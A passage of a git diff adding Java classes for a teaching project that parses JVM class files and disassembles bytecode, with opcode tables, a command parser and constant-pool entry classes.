+package week07.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.field.Field;
+import week07.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		for(Method m : methods){
+			int nameIndex = m.getNameIndex();
+			int descIndex = m.getDescriptorIndex();
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descIndex);
+			if(name.equals("main") && desc.equals("([Ljava/lang/String;)V")){
+				return m;
+			}
+		}
+		return null;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassIndex.java b/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..4424c8b794
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package week07.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/BiPushCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..3ed63a3118
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/ByteCodeCommand.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..621c63291a
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package week07.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/CommandParser.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..68c9187f05
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/CommandParser.java
@@ -0,0 +1,147 @@
+package week07.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import week07.jvm.clz.ClassFile;
+
+public class CommandParser {
+
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if (codes == null || codes.length() == 0) {
+			throw new RuntimeException("error codes");
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
+					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
+					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			}else{
+				throw new RuntimeException("the code instruction " + opCode + " has not been implemented.");
+			}
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetFieldCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..a548e7acd7
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetStaticFieldCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..8b58120066
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.FieldRefInfo;
+import week07.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeSpecialCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..e8a4513467
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeVirtualCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..54f4e4eafd
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/LdcCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..3616fb71a8
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/NewObjectCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..862b8a31d5
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/NoOperandCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..ac15f21216
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/OneOperandCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..f90f652625
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/PutFieldCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..140f5f2326
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/cmd/TwoOperandCmd.java b/group01/1814014897/zhouhui/src/week07/jvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..51261db877
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package week07.jvm.cmd;
+
+import week07.jvm.clz.ClassFile;
+import week07.jvm.constant.ClassInfo;
+import week07.jvm.constant.ConstantInfo;
+import week07.jvm.constant.ConstantPool;
+import week07.jvm.constant.FieldRefInfo;
+import week07.jvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/ClassInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..b7a7a40ef4
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package week07.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..201bfaeb49
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package week07.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantPool.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..5d039834b1
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package week07.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/FieldRefInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..74b5537b93
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package week07.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/MethodRefInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..00b9a4cfa8
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package week07.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/constant/NameAndTypeInfo.java b/group01/1814014897/zhouhui/src/week07/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..433c000fa2
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package week07.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
